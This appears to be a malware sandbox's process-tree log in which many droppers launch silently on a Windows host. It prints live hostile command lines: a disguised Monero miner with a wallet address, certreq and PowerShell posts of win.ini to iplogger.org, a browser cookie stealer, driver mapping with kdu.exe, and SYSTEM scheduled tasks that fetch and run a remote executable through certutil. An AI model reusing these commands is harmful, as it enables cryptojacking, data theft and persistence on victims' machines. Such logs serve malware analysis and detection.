C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3144 /prefetch:820⤵PID:7000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4148 /prefetch:820⤵PID:4396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4444 /prefetch:120⤵PID:4596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1544 /prefetch:820⤵PID:6596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4916 /prefetch:820⤵PID:360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5228 /prefetch:820⤵PID:8032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4328 /prefetch:820⤵PID:7200
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4860 /prefetch:820⤵PID:6872
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4828 /prefetch:820⤵PID:5828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5488 /prefetch:820⤵PID:1236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=5484 /prefetch:220⤵PID:6812
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:120⤵PID:4252
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5944 /prefetch:820⤵PID:6936
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5940 /prefetch:820⤵PID:7104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6344 /prefetch:820⤵PID:8056
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6376 /prefetch:820⤵PID:5596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6528 /prefetch:820⤵PID:7648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6496 /prefetch:120⤵PID:4508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6680 /prefetch:820⤵PID:7836
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6896 /prefetch:820⤵PID:7896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,1394338239692755929,18014789488738368711,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7092 /prefetch:820⤵PID:7656
-
-
-
-
-
-
C:\Windows\regedit.exeregedit /s chrome-set.reg16⤵
- Runs .reg file with regedit
PID:5972
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b firefox16⤵PID:5548
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b chrome16⤵PID:5536
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b edge16⤵PID:2836
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\DataFinder.exe"C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\DataFinder.exe" /Verysilent12⤵PID:6784
-
C:\Users\Admin\Services.exe"C:\Users\Admin\Services.exe"13⤵PID:7592
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth14⤵PID:8164
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\Delta.exe" /Verysilent12⤵PID:7632
-
C:\Users\Admin\AppData\Local\Temp\is-FTTOM.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-FTTOM.tmp\Delta.tmp" /SL5="$40286,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\Delta.exe" /Verysilent13⤵PID:7700
-
C:\Users\Admin\AppData\Local\Temp\is-5VL6F.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-5VL6F.tmp\Setup.exe" /VERYSILENT14⤵PID:8096
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8096 -s 156415⤵
- Program crash
PID:6748
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\zznote.exe" /Verysilent12⤵PID:6552
-
C:\Users\Admin\AppData\Local\Temp\is-P1UVU.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-P1UVU.tmp\zznote.tmp" /SL5="$40322,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\zznote.exe" /Verysilent13⤵PID:6692
-
C:\Users\Admin\AppData\Local\Temp\is-8MRKD.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-8MRKD.tmp\jg4_4jaa.exe" /silent14⤵PID:5300
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-1K2VU.tmp\hjjgaa.exe" /Verysilent12⤵PID:7812
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵PID:5380
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵PID:5576
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\b42hxlvpnnx\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\b42hxlvpnnx\chashepro3.exe" /VERYSILENT8⤵PID:4800
-
C:\Users\Admin\AppData\Local\Temp\is-BME5I.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-BME5I.tmp\chashepro3.tmp" /SL5="$202C6,3362400,58368,C:\Users\Admin\AppData\Local\Temp\b42hxlvpnnx\chashepro3.exe" /VERYSILENT9⤵PID:5052
-
C:\Program Files (x86)\JCleaner\gl.exe"C:\Program Files (x86)\JCleaner\gl.exe"10⤵PID:4764
-
C:\Program Files (x86)\JCleaner\gl.exe"C:\Program Files (x86)\JCleaner\gl.exe"11⤵PID:6800
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1hTS97 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:5024
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1hTS97 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:5644
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"10⤵PID:5028
-
-
C:\Program Files (x86)\JCleaner\ww.exe"C:\Program Files (x86)\JCleaner\ww.exe"10⤵PID:5236
-
C:\Program Files (x86)\JCleaner\ww.exe"C:\Program Files (x86)\JCleaner\ww.exe"11⤵PID:6520
-
-
-
C:\Program Files (x86)\JCleaner\jayson.exe"C:\Program Files (x86)\JCleaner\jayson.exe"10⤵PID:5224
-
C:\Program Files (x86)\JCleaner\jayson.exe"C:\Program Files (x86)\JCleaner\jayson.exe"11⤵PID:6704
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"10⤵PID:5216
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"10⤵PID:5208
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:5200
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:5192
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"10⤵PID:5140
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"10⤵PID:4776
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\t2r0l2x23pg\p1qvcewnm30.exe"C:\Users\Admin\AppData\Local\Temp\t2r0l2x23pg\p1qvcewnm30.exe" /ustwo INSTALL8⤵PID:4232
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 6489⤵
- Program crash
PID:5604
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 7009⤵
- Program crash
PID:4440
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 8009⤵
- Program crash
PID:6156
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 7729⤵
- Program crash
PID:6420
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 8729⤵
- Program crash
PID:6788
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 9289⤵
- Program crash
PID:4356
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 11769⤵
- Program crash
PID:6036
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 11889⤵
- Program crash
PID:5832
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 11809⤵
- Program crash
PID:6288
-
-
-
C:\Users\Admin\AppData\Local\Temp\koknevtmrff\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\koknevtmrff\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:5072
-
-
C:\Users\Admin\AppData\Local\Temp\45cewryfqlf\vpn.exe"C:\Users\Admin\AppData\Local\Temp\45cewryfqlf\vpn.exe" /silent /subid=4828⤵PID:4928
-
-
C:\Users\Admin\AppData\Local\Temp\bkhx2ntvqca\an2p4wypiur.exe"C:\Users\Admin\AppData\Local\Temp\bkhx2ntvqca\an2p4wypiur.exe" 57a764d042bf88⤵PID:4200
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\Q7D417NZKJ\Q7D417NZK.exe" 57a764d042bf8 & exit9⤵PID:5480
-
C:\Program Files\Q7D417NZKJ\Q7D417NZK.exe"C:\Program Files\Q7D417NZKJ\Q7D417NZK.exe" 57a764d042bf810⤵PID:6368
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\50x2qeovlas\app.exe"C:\Users\Admin\AppData\Local\Temp\50x2qeovlas\app.exe" /8-238⤵PID:4808
-
C:\Users\Admin\AppData\Local\Temp\DuuzWrPhqcaoyxshJOVb\kdu.exeC:\Users\Admin\AppData\Local\Temp\DuuzWrPhqcaoyxshJOVb\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\DuuzWrPhqcaoyxshJOVb\driver.sys9⤵PID:7548
-
-
C:\Users\Admin\AppData\Local\Temp\50x2qeovlas\app.exe"C:\Users\Admin\AppData\Local\Temp\50x2qeovlas\app.exe" /8-239⤵PID:7944
-
C:\Users\Admin\AppData\Local\Temp\csayrlYXGqZt\kdu.exeC:\Users\Admin\AppData\Local\Temp\csayrlYXGqZt\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\csayrlYXGqZt\driver.sys10⤵PID:7416
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵PID:4336
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵PID:1652
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2310⤵PID:2276
-
C:\Users\Admin\AppData\Local\Temp\QbWbDeFlqEYlouo\kdu.exeC:\Users\Admin\AppData\Local\Temp\QbWbDeFlqEYlouo\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\QbWbDeFlqEYlouo\driver.sys11⤵PID:4360
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F11⤵
- Creates scheduled task(s)
PID:6856
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F11⤵
- Creates scheduled task(s)
PID:5356
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"11⤵PID:7340
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\lidnv21kytb\pdfxwqdcr5l.exe"C:\Users\Admin\AppData\Local\Temp\lidnv21kytb\pdfxwqdcr5l.exe" testparams8⤵PID:4548
-
C:\Users\Admin\AppData\Roaming\14rlkbu52co\vjdyc0goafl.exe"C:\Users\Admin\AppData\Roaming\14rlkbu52co\vjdyc0goafl.exe" /VERYSILENT /p=testparams9⤵PID:2808
-
C:\Users\Admin\AppData\Local\Temp\is-HQLAI.tmp\vjdyc0goafl.tmp"C:\Users\Admin\AppData\Local\Temp\is-HQLAI.tmp\vjdyc0goafl.tmp" /SL5="$402A0,1611272,61440,C:\Users\Admin\AppData\Roaming\14rlkbu52co\vjdyc0goafl.exe" /VERYSILENT /p=testparams10⤵PID:4904
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kuz1pd0pin2\setup_10.2_us3.exe"C:\Users\Admin\AppData\Local\Temp\kuz1pd0pin2\setup_10.2_us3.exe" /silent8⤵PID:4668
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4260 -
C:\Users\Admin\AppData\Roaming\B173.tmp.exe"C:\Users\Admin\AppData\Roaming\B173.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4688 -
C:\Users\Admin\AppData\Roaming\B173.tmp.exe"C:\Users\Admin\AppData\Roaming\B173.tmp.exe"6⤵
- Executes dropped EXE
PID:4916
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵PID:1052
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:184
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵PID:4116
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵PID:4588
-
C:\ProgramData\2026911.22"C:\ProgramData\2026911.22"5⤵PID:6016
-
-
C:\ProgramData\4753873.52"C:\ProgramData\4753873.52"5⤵PID:6040
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵PID:420
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵PID:5132
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:4000
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:6592
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵PID:6440
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:6832
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:6652
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:736 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding AAC11F172F3673F882C030A9DAA06260 C2⤵
- Loads dropped DLL
PID:208
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:1244
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2156
-
C:\Users\Admin\AppData\Local\Temp\is-5M3JO.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-5M3JO.tmp\vpn.tmp" /SL5="$202CA,15170975,270336,C:\Users\Admin\AppData\Local\Temp\45cewryfqlf\vpn.exe" /silent /subid=4821⤵PID:5068
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "2⤵PID:6640
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09013⤵PID:5076
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "2⤵PID:5600
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09013⤵PID:3080
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall2⤵PID:4932
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install2⤵PID:5220
-
-
C:\Users\Admin\AppData\Local\Temp\is-Q7EUQ.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q7EUQ.tmp\IBInstaller_97039.tmp" /SL5="$103E0,14464800,721408,C:\Users\Admin\AppData\Local\Temp\koknevtmrff\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq1⤵PID:4652
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=970392⤵PID:5808
-
-
C:\Users\Admin\AppData\Local\Temp\is-M79F3.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-M79F3.tmp\{app}\chrome_proxy.exe"2⤵PID:5880
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1Gusg7"1⤵PID:4616
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:5692
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"1⤵PID:6076
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\21⤵PID:5748
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\21⤵PID:5772
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s11⤵PID:4828
-
C:\Users\Admin\AppData\Local\Temp\is-2OBR4.tmp\setup_10.2_us3.tmp"C:\Users\Admin\AppData\Local\Temp\is-2OBR4.tmp\setup_10.2_us3.tmp" /SL5="$102C8,746887,121344,C:\Users\Admin\AppData\Local\Temp\kuz1pd0pin2\setup_10.2_us3.exe" /silent1⤵PID:4344
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:7104
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6256
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7080
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\9de46fa5c1d843059a0a9af394cf70cf /t 6248 /p 71041⤵PID:7144
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"1⤵PID:6776
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6020
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:996
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6976
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4400
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4336
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:1332
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:7292
-
